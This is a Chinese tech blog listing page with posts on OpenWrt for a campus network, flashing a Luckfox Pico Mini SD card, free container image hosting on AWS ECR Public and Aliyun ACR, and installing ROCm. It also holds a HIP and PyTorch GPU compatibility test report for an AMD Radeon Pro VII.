网络

上海科技大学校园网 OpenWrt 配置指南

前言

上海科技大学（ShanghaiTech）的校园网采用 Web Portal 认证方式，设备需要先通过浏览器登录才能上网。对于希望使用 OpenWrt 路由器的用户来说，认证流程和 IPv6 配置都有不少坑。本文记录了完整的配置过程，包括：

  • 校园网 Web 认证的解决方案（MAC 地址克隆）
  • IPv6 配置（ISP 不下发前缀委派的处理）
  • OpenClash Fake-IP 模式下的 DNS 问题

Read More

嵌入式

Luckfox Pico Mini B/M开发板SD卡刷写与入门指南

Luckfox Pico Mini B/M是一款基于瑞芯微RV1103芯片的迷你Linux开发板，售价约$9，集成64MB DDR2内存、单核ARM Cortex-A7处理器和0.5TOPS NPU。由于其仅有128MB SPI Flash，日常开发推荐使用SD卡启动。本文记录从SD卡刷写到USB调试连接的完整过程。

硬件规格概览

项目 规格
处理器 ARM Cortex-A7 @ 1.2GHz + RISC-V
NPU 0.5TOPS，支持int4/int8/int16
内存 64MB DDR2
存储 128MB SPI Flash（板载）/ SD卡槽
USB USB 2.0 Host/Device
相机接口 MIPI CSI 2-lane
GPIO 17路GPIO

系统镜像获取

官方预编译镜像

Luckfox官方提供Ubuntu和Buildroot的预编译SD卡镜像：

下载链接： https://drive.google.com/drive/folders/14kFWY93MZ4Zga4ke2PVQgUs1y9xcMG0S

常用镜像包括：

  • Ubuntu_Luckfox_Pico_Mini_B_MicroSD_250313.zip - Ubuntu 22.04系统
  • Buildroot镜像（需自行从SDK编译或使用社区提供版本）

其他可用系统

系统 内存占用 适用场景
Buildroot 低 嵌入式最小化系统
Ubuntu 22.04 中等至高 全功能开发环境
Foxbuntu 中等 低功耗网络应用（Meshtastic、LoRa）
Alpine Linux 极低 安全导向极简系统

SD卡刷写方法

准备工作

  1. 下载镜像压缩包并解压到工作目录

  2. 确认SD卡设备路径，在Linux中运行：

    1
    $ lsblk

    插入SD卡后找到对应设备，通常为/dev/sdb或/dev/sdc

  3. 获取刷写工具 blkenvflash.py（官方镜像压缩包内已包含）

使用blkenvflash.py工具刷写

此工具专用于将多个.img分区文件按正确偏移量写入SD卡：

1
2
$ cd Ubuntu_Luckfox_Pico_Mini_B_MicroSD_250313
$ sudo python3 blkenvflash.py /dev/sdb

输出示例：

1
2
3
4
5
6
7
8
9
10
== blkenvflash.py 0.0.1 ==
writing to /dev/sdb
   mmcblk1: env.img size:32,768/32K (offset:0/0B) imgsize:32,768 (32K)
   mmcblk1: idblock.img size:524,288/512K (offset:32,768/32K) imgsize:188,416 (184K)
   mmcblk1: uboot.img size:262,144/256K (offset:0/0B) imgsize:262,144 (256K)
   mmcblk1: boot.img size:33,554,432/32M (offset:0/0B) imgsize:3,150,336 (3,150,336B)
   mmcblk1: oem.img size:536,870,912/512M (offset:0/0B) imgsize:113,909,760 (111,240K)
   mmcblk1: userdata.img size:268,435,456/256M (offset:0/0B) imgsize:9,999,360 (9,765K)
   mmcblk1: rootfs.img size:6,442,450,944/6G (offset:0/0B) imgsize:1,136,914,432 (1,110,268K)
done.

⚠️ 重要提示：

  • 参数必须是SD卡设备路径（如/dev/sdb）而非分区（如/dev/sdb1）
  • 大文件刷写耗时较长，请耐心等待，进程卡住是正常的
  • 必须从包含所有.img文件的目录运行此脚本
  • SDK编译生成的镜像同样适用此工具刷写

SD卡分区结构说明

文件 大小 描述
idblock.img 184KB Rockchip Bootloader识别块
download.bin 263KB Rockchip专用底层引导程序
uboot.img 256KB U-Boot主引导加载程序
env.img 32KB U-Boot环境配置
boot.img 3.4MB Linux内核+设备树
rootfs.img 195MB 根文件系统
oem.img 43MB OEM厂商数据分区
userdata.img 9.6MB 用户数据分区

首次启动与连接

启动优先級

  • 有SD卡插入：从SD卡启动（推荐）
  • 无SD卡：从板载128MB SPI Flash启动

💡 实测性能：SD卡读取速度约21.87 MB/s，SPI Flash仅4.40 MB/s，强烈建议使用SD卡

USB RNDIS网络连接

Pico通过USB提供RNDIS网络接口实现调试连接：

1
2
3
4
# 插入USB后查看新接口
$ ifconfig
enxae935ce313b2: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.32.0.100  netmask 255.255.0.0 ...

配置步骤：

  1. 将USB RNDIS接口IP设置为172.32.0.100/16（与Pico同一网段）
  2. Pico默认IP为172.32.0.70（Ubuntu镜像）或172.32.0.93
  3. 如需上网，在主机上开启网络共享给该接口
  4. 测试连接：
    1
    $ ping 172.32.0.70

SSH登录与文件传输

1
2
3
4
5
# SSH登录（Ubuntu镜像默认用户 pico）
$ ssh pico@172.32.0.70

# SFTP方式传输文件
$ scp file.txt pico@172.32.0.70:/home/pico/

ADB调试连接

1
2
$ adb device
$ adb shell

配置好了权限自动会连接。

参考链接：

白嫖 AWS ECR / Aliyun 镜像源托管公开镜像

AWS 提供了一个免费的公有容器注册表服务（ECR Public Gallery），可以用来托管公开镜像。相比其他私有源，这个方案完全免费且支持全球加速。阿里云同样提供了免费的容器镜像服务（ACR）个人版，国内访问速度更快。两者结合使用，可以覆盖国内和海外用户的需求。

Prerequisites

  • AWS 账户
  • AWS CLI 安装并配置好 credentials

安装 AWS CLI

参考官方文档：
https://docs.aws.amazon.com/cli/latest/userguide/getting-started-quickstart.html

配置 AWS CLI

1
sudo aws configure

输入 Access Key ID、Secret Access Key、默认区域等信息。

创建 ECR Public Repository

  1. 登录 AWS Console
  2. 访问 ECR Public Registry：https://ap-southeast-2.console.aws.amazon.com/ecr/public-registry/repositories?region=ap-southeast-2
  3. 点击 “Create repository” 创建一个新的公共仓库
  4. 填写仓库名称（例如 myproject/myimage）
  5. 完成创建后，记下完整的仓库 URL 格式：public.ecr.aws/<owner-id>/<repo-name>

Docker 登录 ECR Public Registry

1
2
3
4
5
# 获取当前用户并切换到 root（如果需要 sudo 权限）
sudo su

# 使用 AWS CLI 获取登录凭证并自动登录到 ECR Public Registry
aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws

参考文档：https://docs.aws.amazon.com/AmazonECR/latest/public/public-registry-auth.html

构建并推送镜像

准备 Dockerfile

确保你的项目目录中有 Dockerfile。

构建镜像

1
2
# 构建镜像
docker build -t myimage:latest .

Tag 镜像

将镜像 tag 为你创建仓库的完整 URL：

1
2
# 假设你的仓库是 public.ecr.aws/abcd1234/myrepo
docker tag myimage:latest public.ecr.aws/abcd1234/myrepo:latest

推送镜像

1
docker push public.ecr.aws/abcd1234/myrepo:latest

拉取使用镜像

其他人可以使用以下命令拉取你的公开镜像：

1
2
3
4
5
# 先登录（可选，只读访问不需要，登录每月2T FREE，匿名500G）
aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws

# 拉取镜像
docker pull public.ecr.aws/abcd1234/myrepo:latest

完整命令流程示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 1. 切换到 root（如果需要）
sudo su

# 2. 登录 ECR Public Registry
aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws

# 3. 构建镜像
docker build -t myapp:1.0 .

# 4. Tag 镜像（替换为实际的仓库地址）
docker tag myapp:1.0 public.ecr.aws/your-owner-id/your-repo-name:1.0

# 5. 推送镜像
docker push public.ecr.aws/your-owner-id/your-repo-name:1.0

# 6. 验证推送成功
docker pull public.ecr.aws/your-owner-id/your-repo-name:1.0

阿里云 ACR 个人版（免费）

除了 AWS ECR Public，阿里云的容器镜像服务（ACR）个人版也是一个免费的镜像托管方案，适合国内用户使用，访问速度更快。

Prerequisites

  • 阿里云账号
  • Docker 已安装

开通 ACR 个人版

  1. 登录阿里云控制台
  2. 访问容器镜像服务：https://cr.console.aliyun.com
  3. 首次使用会自动开通个人版实例，免费使用

获取登录凭证

访问凭证页面：https://cr.console.aliyun.com/cn-shanghai/instance/credentials

在「访问凭证」页面设置 Docker 登录密码，然后获取固定密码或临时凭证。

Docker 登录 ACR

1
2
# 登录阿里云 ACR（替换为你的区域和用户名）
docker login --username=<你的阿里云用户名> registry.cn-shanghai.aliyuncs.com

输入密码后即可登录成功。

创建命名空间和仓库

  1. 在 ACR 控制台创建命名空间（Namespace）
  2. 在命名空间下创建镜像仓库
  3. 仓库地址格式：registry.cn-shanghai.aliyuncs.com/<namespace>/<repo-name>

构建并推送镜像

1
2
3
4
5
6
7
8
# 构建镜像
docker build -t myimage:latest .

# Tag 镜像（替换为实际地址）
docker tag myimage:latest registry.cn-shanghai.aliyuncs.com/my-namespace/myimage:latest

# 推送镜像
docker push registry.cn-shanghai.aliyuncs.com/my-namespace/myimage:latest

拉取使用镜像

1
2
3
4
5
# 登录（可选，公开仓库不需要）
docker login --username=<阿里云用户名> registry.cn-shanghai.aliyuncs.com

# 拉取镜像
docker pull registry.cn-shanghai.aliyuncs.com/my-namespace/myimage:latest

完整命令流程示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 1. 登录 ACR
docker login --username=myuser registry.cn-shanghai.aliyuncs.com

# 2. 构建镜像
docker build -t myapp:1.0 .

# 3. Tag 镜像
docker tag myapp:1.0 registry.cn-shanghai.aliyuncs.com/my-namespace/myapp:1.0

# 4. 推送镜像
docker push registry.cn-shanghai.aliyuncs.com/my-namespace/myapp:1.0

# 5. 验证拉取
docker pull registry.cn-shanghai.aliyuncs.com/my-namespace/myapp:1.0

实际示例

1
2
3
4
5
6
7
8
# 登录阿里云 ACR 个人版实例
sudo docker login --username=<your-username> crpi-<your-instance-id>.cn-shanghai.personal.cr.aliyuncs.com

# 构建镜像并自动推送（以 auplc-installer 为例）
sudo MIRROR_PREFIX="m.daocloud.io" \
     MIRROR_PIP="https://pypi.tuna.tsinghua.edu.cn/simple" \
     GPU_TYPE=strix-halo \
     ./auplc-installer img build sht-llm

注意：个人版实例的 registry 地址格式为 crpi-<id>.cn-shanghai.personal.cr.aliyuncs.com，与标准版略有不同。

可用区域

阿里云 ACR 在多个区域提供服务，常用的包括：

区域 Endpoint
上海 registry.cn-shanghai.aliyuncs.com
杭州 registry.cn-hangzhou.aliyuncs.com
北京 registry.cn-beijing.aliyuncs.com
深圳 registry.cn-shenzhen.aliyuncs.com
香港 registry.cn-hongkong.aliyuncs.com

AWS ECR vs 阿里云 ACR 对比

特性 AWS ECR Public 阿里云 ACR 个人版
免费额度 匿名 500G/月，登录 2T/月 免费，无明确流量限制
国内访问 较慢（需翻墙或走国际线路） 快（国内节点）
适用场景 面向全球用户 面向国内用户
命名空间 public.ecr.aws/<owner>/<repo> registry.cn-<region>.aliyuncs.com/<ns>/<repo>
登录方式 AWS CLI 获取 token 用户名 + 固定密码

建议：如果你的用户主要在国内，优先使用阿里云 ACR；如果面向全球，使用 AWS ECR Public。

注意事项

  • 公有镜像仓库的镜像任何人都可以拉取，不适合存放敏感信息
  • AWS ECR Public：推荐区域是 us-east-1，这是 ECR Public 的统一入口区域
  • 阿里云 ACR：选择离目标用户最近的区域以获得最佳速度
  • Docker 登录是一次性的，重新登录后才能继续 push
  • 如果需要存储私有镜像，两个平台都支持设置为私有仓库

参考链接

使用 TheRock + HIP 和 rocperf 的一些情报

简介

本文记录在 Ryzen AI Max PRO 395 平台上安装和使用 TheRock ROCm 7.11.0 的过程，包括 HIP 开发环境和 rocperf 性能测试工具的配置。

安装 TheRock ROCm 7.11.0

环境信息

  • CPU: Ryzen AI Max PRO 395 (gfx1151)
  • OS: Ubuntu 24.04
  • ROCm 版本: 7.11.0-preview

前置条件

1. 安装 OEM 内核

Ryzen AI APU 需要 Ubuntu 24.04 的 OEM 内核 6.14：

1
sudo apt update && sudo apt install linux-image-6.14.0-1018-oem

安装完成后重启系统。

2. 安装依赖包

1
2
# 安装基础依赖
sudo apt install sudo wget libatomic1 python3.12 python3.12-venv

3. 配置 GPU 访问权限

有两种方式配置 GPU 访问权限：

方式一：添加用户到组（推荐）

1
sudo usermod -a -G render,video $LOGNAME

方式二：使用 udev 规则

1
2
3
4
5
6
7
sudo tee /etc/udev/rules.d/70-amdgpu.rules << EOF
KERNEL=="kfd", GROUP="render", MODE="0666"
SUBSYSTEM=="drm", KERNEL=="renderD*", GROUP="render", MODE="0666"
EOF

sudo udevadm control --reload-rules
sudo udevadm trigger

配置完成后需要重启系统以应用所有设置。

安装 ROCm Core SDK

添加 ROCm 软件源

1
2
3
4
5
6
7
8
9
10
11
# 下载并安装 GPG 密钥
sudo mkdir --parents --mode=0755 /etc/apt/keyrings
wget https://repo.amd.com/rocm/packages/gpg/rocm.gpg -O - | gpg --dearmor | sudo tee /etc/apt/keyrings/amdrocm.gpg > /dev/null

# 添加 ROCm 仓库配置（Ubuntu 24.04）
sudo tee /etc/apt/sources.list.d/rocm.list << EOF
deb [arch=amd64 signed-by=/etc/apt/keyrings/amdrocm.gpg] https://repo.amd.com/rocm/packages/ubuntu2404 stable main
EOF

# 更新包列表
sudo apt update

安装 ROCm 核心包（针对 gfx1151）

1
2
3
4
5
# 安装 TheRock Core Runtime (用于运行应用)
sudo apt install amdrocm7.11-gfx1151

# 或安装完整的 SDK (包含编译器、开发工具等)
sudo apt install amdrocm-core-sdk-gfx1151

可选：使用 Python pip 安装 ROCm 库

对于 Python 项目，可以使用 pip 方式安装 ROCm 库：

1
2
3
4
5
6
# 创建并激活 Python 虚拟环境
python3.12 -m venv .venv
source .venv/bin/activate

# 使用 pip 安装 ROSM 7.11 (适用于 Ryzen AI Max PRO 395)
python -m pip install --index-url https://repo.amd.com/rocm/whl/gfx1151/ "rocm[libraries,devel]"

验证安装

检查 ROCm 版本

1
rocminfo | grep "Driver Version"

期望输出应显示类似 7.11.0。

检查 GPU 信息

1
rocminfo --show-hw
GPU计算►ROCm

ROCm 6.3 MI50 测试报告

  1. 降级至6.8内核或安装22.04.2LTS
  2. 安装ROCM和AMDGPU-DKMS https://rocm.docs.amd.com/projects/install-on-linux/en/docs-6.3.3/
  3. 依据这个仓库 https://github.com/nlzy/vllm-gfx906 pull docker
  4. 运行测试
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
#include <hip/hip_runtime.h>
#include <iostream>
#include <vector>
#include <cmath>
#include <cassert>
#include <string>

// 宏定义：用于检查HIP API调用的返回值
#define HIP_CHECK(cmd) \
    do { \
        hipError_t error = cmd; \
        if (error != hipSuccess) { \
            std::cerr << "\033[1;31m[ERROR]\033[0m HIP API Error at line " << __LINE__ \
                      << ": " << hipGetErrorString(error) << std::endl; \
            exit(EXIT_FAILURE); \
        } \
    } while (0)

// -------------------------------------------------------------------------
// Kernel 1: 基础数学运算与全局内存测试
// 测试点: 线程索引, 浮点运算, sin/cos/sqrt 函数支持
// -------------------------------------------------------------------------
__global__ void math_test_kernel(const float* input, float* output, int n) {
    int idx = blockIdx.x * blockDim.x + threadIdx.x;
    if (idx < n) {
        float val = input[idx];
        // 进行一些稍微复杂的数学运算
        output[idx] = sinf(val) * cosf(val) + sqrtf(fabsf(val));
    }
}

// -------------------------------------------------------------------------
// Kernel 2: 原子操作与共享内存测试
// 测试点: atomicAdd, __shared__ 内存声明与使用
// -------------------------------------------------------------------------
__global__ void atomic_shmem_kernel(int* global_counter) {
    __shared__ int local_sum;
    
    // 初始化共享内存
    if (threadIdx.x == 0) {
        local_sum = 0;
    }
    __syncthreads();

    // 块内原子加
    atomicAdd(&local_sum, 1);
    __syncthreads();

    // 由由于每个block的第0个线程将结果加到全局内存
    if (threadIdx.x == 0) {
        atomicAdd(global_counter, local_sum);
    }
}

// -------------------------------------------------------------------------
// Kernel 3: Warp Shuffle 测试 (高级特性)
// 测试点: __shfl_down (在AMD GPU上通常映射为 DPP 或其他指令)
// -------------------------------------------------------------------------
__global__ void warp_shuffle_kernel(int* output, int n) {
    int idx = blockIdx.x * blockDim.x + threadIdx.x;
    int val = 1;

    // 简单的规约：Warp内的值求和 (假设 warpSize 为 32 或 64)
    // 注意：这里使用通用的 shfl_down，不同架构 warp size 可能不同
    for (int offset = 16; offset > 0; offset /= 2) {
#if defined(__HIP_PLATFORM_AMD__) || defined(__HIP_PLATFORM_NVIDIA__)
        val += __shfl_down(val, offset); 
#endif
    }

    if (idx < n && (threadIdx.x % 32 == 0)) {
        output[idx / 32] = val; // 应该输出32
    }
}

// 辅助函数：打印带颜色的状态
void print_pass(const std::string& msg) {
    std::cout << "\033[1;32m[PASS]\033[0m " << msg << std::endl;
}

void print_info(const std::string& msg) {
    std::cout << "\033[1;34m[INFO]\033[0m " << msg << std::endl;
}

int main() {
    print_info("Starting HIP Comprehensive Compatibility Test...");

    // 1. 设备枚举与属性查询
    int deviceCount = 0;
    HIP_CHECK(hipGetDeviceCount(&deviceCount));
    
    if (deviceCount == 0) {
        std::cerr << "No HIP-capable devices found!" << std::endl;
        return -1;
    }
    
    std::cout << "Found " << deviceCount << " device(s)." << std::endl;

    // 遍历所有设备进行测试（这里只演示Device 0，多卡可循环）
    int dev = 0;
    HIP_CHECK(hipSetDevice(dev));
    
    hipDeviceProp_t props;
    HIP_CHECK(hipGetDeviceProperties(&props, dev));
    
    std::cout << "------------------------------------------------" << std::endl;
    std::cout << "Device " << dev << ": " << props.name << std::endl;
    std::cout << "  Compute Arch: " << props.gcnArchName << std::endl; // AMD 特有，N卡可能是空的或不同
    std::cout << "  Total VRAM: " << props.totalGlobalMem / (1024.0 * 1024.0) << " MB" << std::endl;
    std::cout << "  Multiprocessors: " << props.multiProcessorCount << std::endl;
    std::cout << "  Warp Size: " << props.warpSize << std::endl;
    std::cout << "------------------------------------------------" << std::endl;
    print_pass("Device Property Query");

    // 定义数据规模
    const int N = 1024 * 1024;
    const int bytes = N * sizeof(float);

    // 2. 内存分配测试 (Device & Host)
    float *h_in, *h_out_gpu, *d_in, *d_out;
    h_in = (float*)malloc(bytes);
    h_out_gpu = (float*)malloc(bytes);
    
    // 初始化数据
    for (int i = 0; i < N; i++) h_in[i] = (float)i * 0.01f;

    HIP_CHECK(hipMalloc(&d_in, bytes));
    HIP_CHECK(hipMalloc(&d_out, bytes));
    print_pass("hipMalloc (Device Memory Allocation)");

    // 3. 内存拷贝测试 (H2D)
    HIP_CHECK(hipMemcpy(d_in, h_in, bytes, hipMemcpyHostToDevice));
    print_pass("hipMemcpy (Host -> Device)");

    // 4. 执行 Kernel 1 (Math)
    int threads = 256;
    int blocks = (N + threads - 1) / threads;
    math_test_kernel<<<blocks, threads>>>(d_in, d_out, N);
    HIP_CHECK(hipGetLastError()); // 检查启动错误
    HIP_CHECK(hipDeviceSynchronize()); // 检查执行错误
    print_pass("Kernel Execution (Math & Logic)");

    // 5. 内存拷贝测试 (D2H) & 结果验证
    HIP_CHECK(hipMemcpy(h_out_gpu, d_out, bytes, hipMemcpyDeviceToHost));
    
    bool math_correct = true;
    for (int i = 0; i < 100; i++) { // 只验证前100个防止刷屏
        float val = h_in[i];
        float expected = sinf(val) * cosf(val) + sqrtf(fabsf(val));
        if (fabs(h_out_gpu[i] - expected) > 1e-4) {
            math_correct = false;
            std::cerr << "Mismatch at index " << i << ": GPU=" << h_out_gpu[i] << ", CPU=" << expected << std::endl;
            break;
        }
    }
    if (math_correct) print_pass("Result Verification (Math Accuracy)");

    // 6. 原子操作与共享内存测试
    int *d_atomic_counter;
    int h_atomic_counter = 0;
    HIP_CHECK(hipMalloc(&d_atomic_counter, sizeof(int)));
    HIP_CHECK(hipMemcpy(d_atomic_counter, &h_atomic_counter, sizeof(int), hipMemcpyHostToDevice));

    // Launch: 100 blocks, 256 threads each = 25600 threads total
    atomic_shmem_kernel<<<100, 256>>>(d_atomic_counter);
    HIP_CHECK(hipDeviceSynchronize());
    
    HIP_CHECK(hipMemcpy(&h_atomic_counter, d_atomic_counter, sizeof(int), hipMemcpyDeviceToHost));
    if (h_atomic_counter == 100 * 256) {
        print_pass("Atomic Add & Shared Memory");
    } else {
        std::cerr << "\033[1;31m[FAIL]\033[0m Atomic test failed. Expected 25600, got " << h_atomic_counter << std::endl;
    }

    // 7. 流与事件测试 (Streams & Events)
    hipStream_t stream;
    hipEvent_t start, stop;
    HIP_CHECK(hipStreamCreate(&stream));
    HIP_CHECK(hipEventCreate(&start));
    HIP_CHECK(hipEventCreate(&stop));

    HIP_CHECK(hipEventRecord(start, stream));
    // 再次执行一个小任务在流中
    math_test_kernel<<<blocks, threads, 0, stream>>>(d_in, d_out, N);
    HIP_CHECK(hipEventRecord(stop, stream));
    
    HIP_CHECK(hipEventSynchronize(stop));
    float milliseconds = 0;
    HIP_CHECK(hipEventElapsedTime(&milliseconds, start, stop));
    
    std::cout << "\033[1;34m[INFO]\033[0m Async Kernel Duration: " << milliseconds << " ms" << std::endl;
    print_pass("Streams & Events (Async Execution)");

    // 8. Managed Memory (Unified Memory) 测试
    // 注意：某些旧架构或特定驱动配置可能不支持此功能，这是个很好的兼容性测试点
    int* managed_ptr;
    hipError_t managed_err = hipMallocManaged(&managed_ptr, sizeof(int));
    if (managed_err == hipSuccess) {
        *managed_ptr = 123; // Host 直接写
        // Device 读
        // 简单复用 atomic kernel 来验证 device 能否读取 managed memory
        atomic_shmem_kernel<<<1, 1>>>(managed_ptr); 
        HIP_CHECK(hipDeviceSynchronize());
        if (*managed_ptr == 124) { // 123 + 1
             print_pass("Unified Memory (hipMallocManaged)");
        } else {
             std::cout << "\033[1;33m[WARN]\033[0m Unified Memory result mismatch (Driver limitation?)" << std::endl;
        }
        hipFree(managed_ptr);
    } else {
        std::cout << "\033[1;33m[WARN]\033[0m hipMallocManaged not supported on this device/driver configuration." << std::endl;
    }

    // 清理
    HIP_CHECK(hipFree(d_in));
    HIP_CHECK(hipFree(d_out));
    HIP_CHECK(hipFree(d_atomic_counter));
    HIP_CHECK(hipStreamDestroy(stream));
    HIP_CHECK(hipEventDestroy(start));
    HIP_CHECK(hipEventDestroy(stop));
    
    free(h_in);
    free(h_out_gpu);

    std::cout << "\n\033[1;32m=== HIP SYSTEM CHECK COMPLETED SUCCESSFULLY ===\033[0m" << std::endl;

    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
aup@aup-To-Be-Filled-By-O-E-M:~$ hipcc hip_full_check.cpp -o hip_check
hip_full_check.cpp:209:9: warning: ignoring return value of function declared with 'nodiscard' attribute [-Wunused-result]
  209 |         hipFree(managed_ptr);
      |         ^~~~~~~ ~~~~~~~~~~~
1 warning generated when compiling for gfx906.
hip_full_check.cpp:209:9: warning: ignoring return value of function declared with 'nodiscard' attribute [-Wunused-result]
  209 |         hipFree(managed_ptr);
      |         ^~~~~~~ ~~~~~~~~~~~
1 warning generated when compiling for host.

aup@aup-To-Be-Filled-By-O-E-M:~$ ./hip_check 
[INFO] Starting HIP Comprehensive Compatibility Test...
Found 1 device(s).
------------------------------------------------
Device 0: AMD Radeon (TM) Pro VII
  Compute Arch: gfx906:sramecc+:xnack-
  Total VRAM: 16368 MB
  Multiprocessors: 60
  Warp Size: 64
------------------------------------------------
[PASS] Device Property Query
[PASS] hipMalloc (Device Memory Allocation)
[PASS] hipMemcpy (Host -> Device)
[PASS] Kernel Execution (Math & Logic)
[PASS] Result Verification (Math Accuracy)
[PASS] Atomic Add & Shared Memory
[INFO] Async Kernel Duration: 0.038723 ms
[PASS] Streams & Events (Async Execution)
[PASS] Unified Memory (hipMallocManaged)

=== HIP SYSTEM CHECK COMPLETED SUCCESSFULLY ===

Python torch test

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
import torch
import torch.nn as nn
import time
import sys

class Color:
    HEADER = '\033[95m'
    BLUE = '\033[94m'
    GREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'

def print_pass(msg):
    print(f"{Color.GREEN}[PASS]{Color.ENDC} {msg}")

def print_fail(msg, err):
    print(f"{Color.FAIL}[FAIL]{Color.ENDC} {msg}")
    print(f"       Error: {err}")

def print_info(msg):
    print(f"{Color.BLUE}[INFO]{Color.ENDC} {msg}")

def run_test():
    print(f"{Color.BOLD}=== PyTorch on ROCm Comprehensive Check ==={Color.ENDC}\n")

    # ---------------------------------------------------------
    # 1. 基础环境检查
    # ---------------------------------------------------------
    try:
        print_info(f"PyTorch Version: {torch.__version__}")
        print_info(f"ROCm/HIP Version: {torch.version.hip}")
        
        if not torch.cuda.is_available():
            print_fail("CUDA/ROCm not available in PyTorch.", "torch.cuda.is_available() returned False")
            return
        
        device_count = torch.cuda.device_count()
        device_name = torch.cuda.get_device_name(0)
        print_info(f"Device Found: {device_name} (Count: {device_count})")
        
        # 强制在第一块卡上运行
        device = torch.device("cuda:0")
        print_pass("Environment & Device Detection")
    except Exception as e:
        print_fail("Environment Detection Failed", e)
        return

    # ---------------------------------------------------------
    # 2. 基础张量操作与内存搬运 (H2D, D2H)
    # ---------------------------------------------------------
    try:
        x_host = torch.randn(1024, 1024)
        x_device = x_host.to(device)
        y_device = x_device * 2.0
        y_host = y_device.cpu()
        
        if torch.allclose(x_host * 2.0, y_host, atol=1e-5):
            print_pass("Tensor Creation & Memory Transfer (Host <-> Device)")
        else:
            raise Exception("Calculation mismatch on basic tensor ops")
    except Exception as e:
        print_fail("Basic Tensor Ops", e)

    # ---------------------------------------------------------
    # 3. 矩阵乘法 (测试 rocBLAS)
    # ---------------------------------------------------------
    try:
        size = 2048
        a = torch.randn(size, size, device=device)
        b = torch.randn(size, size, device=device)
        
        torch.cuda.synchronize()
        start = time.time()
        c = torch.matmul(a, b)
        torch.cuda.synchronize()
        end = time.time()
        
        tflops = (2 * size**3) / ((end - start) * 1e12)
        print_pass(f"Matrix Multiplication (rocBLAS) - {size}x{size} @ {tflops:.2f} TFLOPS")
    except Exception as e:
        print_fail("Matrix Multiplication (rocBLAS)", e)

    # ---------------------------------------------------------
    # 4. 卷积神经网络原语 (测试 MIOpen)
    #    这是最关键的一步，很多环境在这里挂掉
    # ---------------------------------------------------------
    try:
        # 定义一个简单的卷积层
        conv = nn.Conv2d(in_channels=3, out_channels=64, kernel_size=3, padding=1).to(device)
        input_data = torch.randn(8, 3, 256, 256, device=device)
        
        # 前向传播
        output = conv(input_data)
        
        # 反向传播 (测试 Autograd 和 cudnn/miopen backward)
        target = torch.randn_like(output)
        criterion = nn.MSELoss()
        loss = criterion(output, target)
        loss.backward()
        
        print_pass("CNN Primitives (MIOpen Forward & Backward)")
    except Exception as e:
        print_fail("CNN Primitives (MIOpen)", e)
        print(f"{Color.WARNING}Hint: If this fails with 'segmentation fault' or 'miopen error', verify MIOpen installation.{Color.ENDC}")

    # ---------------------------------------------------------
    # 5. 半精度 (FP16) 测试
    #    gfx906 对 FP16 支持很好
    # ---------------------------------------------------------
    try:
        a_half = torch.randn(1024, 1024, device=device, dtype=torch.float16)
        b_half = torch.randn(1024, 1024, device=device, dtype=torch.float16)
        c_half = torch.matmul(a_half, b_half)
        print_pass("Half Precision (FP16) Compute")
    except Exception as e:
        print_fail("Half Precision (FP16)", e)

    # ---------------------------------------------------------
    # 6. 分布式通信库 (RCCL) 检查
    #    即使单卡，也检查一下库是否链接正常
    # ---------------------------------------------------------
    try:
        if torch.distributed.is_available():
            if torch.backends.cuda.is_built():
                print_pass("Distributed Library (RCCL) is linked")
            else:
                print(f"{Color.WARNING}[WARN] Distributed available but cuda backend not built?{Color.ENDC}")
        else:
            print(f"{Color.WARNING}[WARN] torch.distributed not available (Expected for some builds){Color.ENDC}")
    except Exception as e:
        print_fail("RCCL Check", e)

    # ---------------------------------------------------------
    # 7. 显存压力测试 (分配 4GB)
    # ---------------------------------------------------------
    try:
        # Radeon Pro VII 有 16GB，分配 4GB 应该没问题
        print_info("Attempting to allocate 4GB VRAM...")
        large_tensor = torch.empty(1024 * 1024 * 1024, dtype=torch.float32, device=device) # 4GB
        torch.cuda.synchronize()
        del large_tensor
        torch.cuda.empty_cache()
        print_pass("Large VRAM Allocation (4GB)")
    except Exception as e:
        print_fail("VRAM Stress Test", "OOM or Allocator Error. " + str(e))

    print(f"\n{Color.BOLD}=== TEST COMPLETE ==={Color.ENDC}")

if __name__ == "__main__":
    run_test()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
(torch) aup@aup-mi50:~$ python torch_test.py 
=== PyTorch on ROCm Comprehensive Check ===

[INFO] PyTorch Version: 2.9.1+rocm6.3
[INFO] ROCm/HIP Version: 6.3.42134-a9a80e791
[INFO] Device Found: AMD Radeon (TM) Pro VII (Count: 1)
[PASS] Environment & Device Detection
